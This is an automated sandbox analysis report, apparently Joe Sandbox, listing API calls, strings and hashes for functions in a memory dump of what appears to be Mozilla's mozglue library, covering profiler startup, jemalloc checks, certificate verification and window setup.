ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAC5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC5616

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

GetCurrentThreadId.KERNEL32 ref: 6CAC563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAC5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAC567C
free.MOZGLUE(?), ref: 6CAC56AE

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAC56E8
GetCurrentThreadId.KERNEL32 ref: 6CAC5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAC570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAC5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAC574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAC576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAC5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAC57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAC57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAC5717
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAC5D1C
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAC5D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAC548D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAC54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAC5C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAC5724
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAC54B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAC5CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAC5766
GeckoMain, xrefs: 6CAC5554, 6CAC55D5
[I %d/%d] profiler_init, xrefs: 6CAC564E
MOZ_PROFILER_STARTUP, xrefs: 6CAC55E1
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAC5D2B
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAC57AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAC5749
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAC5BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6CAC5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAC5B38
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAC56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAC584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAC5791
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAC57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAC5AC9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAC5D01

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 559202526a1628c8dafa53ac6e73c72f00e8b692c93efb124dc7d267b9e2da66
Instruction ID: e620cfdc81124f497e18b4bd449b7aa6717086c31e55b2f7c896be53e8167983
Opcode Fuzzy Hash: 559202526a1628c8dafa53ac6e73c72f00e8b692c93efb124dc7d267b9e2da66
Instruction Fuzzy Hash: EC223675A047509FEB109F74C94865E7BB5AF46318F080A2AF85E87B41EB34C8C9DB53

Function 6CAFB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFB845
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000), ref: 6CAFB852
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFB884
InitializeConditionVariable.KERNEL32(?), ref: 6CAFB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CAFB9FD
GetCurrentThreadId.KERNEL32 ref: 6CAFBA05
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000), ref: 6CAFBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CAFBA27
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFBA4B
free.MOZGLUE(?), ref: 6CAFC9C7
free.MOZGLUE(?), ref: 6CAFC9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CAFC7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CAFC878

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 7f51c14dd111c78d64e6671cfb95b50d2948218a01fc1973025ab2debb9b9a7e
Instruction ID: a5d9535a29416e37b86e06cdf0c6611a230351aee89a368383803e7bca5e2008
Opcode Fuzzy Hash: 7f51c14dd111c78d64e6671cfb95b50d2948218a01fc1973025ab2debb9b9a7e
Instruction Fuzzy Hash: ECA27971A083808FD725CF29D48079FB7F5BFC9318F154A2DE8A997750DB70A9498B82

Function 6CAC6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAC6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAC6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAC6D26

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAC6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAC6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAC6D73
free.MOZGLUE(00000000), ref: 6CAC6D80
CertGetNameStringW.CRYPT32 ref: 6CAC6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAC6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAC6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAC6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAC6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAC6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAC6E34
CreateFileW.KERNEL32 ref: 6CAC6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAC6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAC6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAC709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAC7103
free.MOZGLUE(00000000), ref: 6CAC7153
CloseHandle.KERNEL32(?), ref: 6CAC7176
__Init_thread_footer.LIBCMT ref: 6CAC7209
__Init_thread_footer.LIBCMT ref: 6CAC723A
__Init_thread_footer.LIBCMT ref: 6CAC726B
__Init_thread_footer.LIBCMT ref: 6CAC729C
__Init_thread_footer.LIBCMT ref: 6CAC72DC
__Init_thread_footer.LIBCMT ref: 6CAC730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAC73C2
VerSetConditionMask.NTDLL ref: 6CAC73F3
VerSetConditionMask.NTDLL ref: 6CAC73FF
VerSetConditionMask.NTDLL ref: 6CAC7406
VerSetConditionMask.NTDLL ref: 6CAC740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAC741A
moz_xmalloc.MOZGLUE(?), ref: 6CAC755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAC7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAC7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAC7598
free.MOZGLUE(00000000), ref: 6CAC75AC

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CAC72C8
(, xrefs: 6CAC768A
wintrust.dll, xrefs: 6CAC72CD
SHA256, xrefs: 6CAC6EC0

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 0796dd56954f8bdbf965c6f5f3c4c4729b90a6e329a9dd3f9c54f14ee0ac9ee3
Instruction ID: ff52f078f890e7985139523db85c674986812a2df29cc8b5947fe4486db66677
Opcode Fuzzy Hash: 0796dd56954f8bdbf965c6f5f3c4c4729b90a6e329a9dd3f9c54f14ee0ac9ee3
Instruction Fuzzy Hash: 8652A3B1A00258DBEB21DF24CD84BAE77B9EB45718F144199E90DE7640DB70AEC4CF92

Function 6CAE6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAE7019
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAE7061
EnterCriticalSection.KERNEL32(?), ref: 6CAE71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CAE721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE723E
EnterCriticalSection.KERNEL32(?), ref: 6CAE726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CAE72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CAE733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CAE73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CAE961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAE9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAE9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAE964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAE96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAE96DB
AcquireSRWLockExclusive.KERNEL32(6CB3E804), ref: 6CAE9747
GetSystemInfo.KERNEL32(?), ref: 6CAE9792
__Init_thread_footer.LIBCMT ref: 6CAE97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB3E810,00000040), ref: 6CAE97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E7B8,00001388), ref: 6CAE9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E744,00001388), ref: 6CAE984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E784,00001388), ref: 6CAE9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E7DC,00001388), ref: 6CAE9895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAE99D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAE99A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAE99BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAE9BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAE9993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAE9933, 6CAE9A33, 6CAE9A4E
Compile-time page size does not divide the runtime one., xrefs: 6CAE9B38
MOZ_CRASH(), xrefs: 6CAE9B42
MALLOC_OPTIONS, xrefs: 6CAE97CA
<jemalloc>, xrefs: 6CAE9B33, 6CAE9BE3

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: bb143bdceca7cb7a658f4f8bcde787e3c2f8a32e46e598179b14356ca265e7b7
Instruction ID: 82a5f7ef2edca8c51341b2e8579be10a7accb85aa57d7888587f1a92a49c8c4d
Opcode Fuzzy Hash: bb143bdceca7cb7a658f4f8bcde787e3c2f8a32e46e598179b14356ca265e7b7
Instruction Fuzzy Hash: CF538C71A057018FD714CF28C580659BBE1BF89328F29C6ADE869CB792D731E881DBC1

Function 6CAF0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAF0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAF0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAF0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAF0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAF1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAF10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAF117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAF1C39
EnterCriticalSection.KERNEL32(6CB3E744), ref: 6CAF3391
LeaveCriticalSection.KERNEL32(6CB3E744), ref: 6CAF33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAF3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF3437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAF37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAF37A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAF37BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAF3A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAF3793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF3559, 6CAF382D, 6CAF3848
Compile-time page size does not divide the runtime one., xrefs: 6CAF3946
MOZ_CRASH(), xrefs: 6CAF3950
MALLOC_OPTIONS, xrefs: 6CAF35FE
<jemalloc>, xrefs: 6CAF3941, 6CAF39F1

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 9040c85a57f114ffa67fbf648e4ea5bdcc5333ca52efc3092bf8a8337fadac65
Instruction ID: c8ef7c7f530d6f0b80f1a115f8691dfe78d9d9c483b962e3fa57ca36e39e6866
Opcode Fuzzy Hash: 9040c85a57f114ffa67fbf648e4ea5bdcc5333ca52efc3092bf8a8337fadac65
Instruction Fuzzy Hash: 1F537BB1A066418FD314CF29C540619BBE1BF85328F29C76DF8B99B791D771E882CB81

Function 6CB155F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CAEE1A5), ref: 6CB15606
LoadLibraryW.KERNEL32(gdi32,?,6CAEE1A5), ref: 6CB1560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB15633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB1563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB1566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB1567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB15696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB156B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB156CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB156E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB156FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB15716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB1572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB15748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB15761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB1577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB15793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB157A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB157BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB157D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB157EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB157FF

Strings

DeleteObject, xrefs: 6CB157F9
ShowWindow, xrefs: 6CB156DE
user32, xrefs: 6CB15601
RegisterClassW, xrefs: 6CB156AC
FillRect, xrefs: 6CB15729
StretchDIBits, xrefs: 6CB157CC
SetWindowLongPtrW, xrefs: 6CB157B7
SetWindowPos, xrefs: 6CB156F7
GetSystemMetricsForDpi, xrefs: 6CB15677
gdi32, xrefs: 6CB1560A
GetDpiForWindow, xrefs: 6CB15690
GetWindowDC, xrefs: 6CB15710
GetMonitorInfoW, xrefs: 6CB157A2
CreateWindowExW, xrefs: 6CB156C5
MonitorFromWindow, xrefs: 6CB1578D
LoadCursorW, xrefs: 6CB15774
AreDpiAwarenessContextsEqual, xrefs: 6CB15637
EnableNonClientDpiScaling, xrefs: 6CB15666
ReleaseDC, xrefs: 6CB15742
LoadIconW, xrefs: 6CB1575B
CreateSolidBrush, xrefs: 6CB157E4
GetThreadDpiAwarenessContext, xrefs: 6CB1562D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: ff29370bf292f6f614d9542ab34bfb9fd9ed9614d71e1a370fa6526841249486
Instruction ID: 8f58aefc439a2b8c70645f458a81a62927bb66312b22e0f686869b7abcc866ad
Opcode Fuzzy Hash: ff29370bf292f6f614d9542ab34bfb9fd9ed9614d71e1a370fa6526841249486
Instruction Fuzzy Hash: A351B075705BA2AFDB11AF388D44A2E3BFCEB462567104829E819E3E45EF34CC048F65

Function 6CB134A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB1355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB135BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB135E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB1363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB136CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB1373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB1378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB138BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB139EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB13EE2

Part of subcall function 6CB16180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB161DD
Part of subcall function 6CB16180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB1622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB140F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB1412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB14157

